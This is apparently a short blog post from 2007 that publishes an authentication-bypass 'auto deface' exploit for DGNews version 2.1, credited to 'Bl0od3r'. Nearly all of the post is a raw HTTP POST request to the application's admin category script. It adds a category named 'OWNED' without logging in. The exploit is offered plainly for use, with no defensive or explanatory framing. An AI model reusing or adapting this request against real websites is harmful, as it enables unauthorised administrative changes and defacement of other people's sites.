Monday, 1 January 2007

DGNews v 2.1 auth bypass auto deface exploit

POST http://localhost/admin/category.php?go=update&act=Add HTTP/1.0

Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/admin/category.php?go=sub&act=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

#released by Bl0od3r

category=

OWNED

&id=

No comments: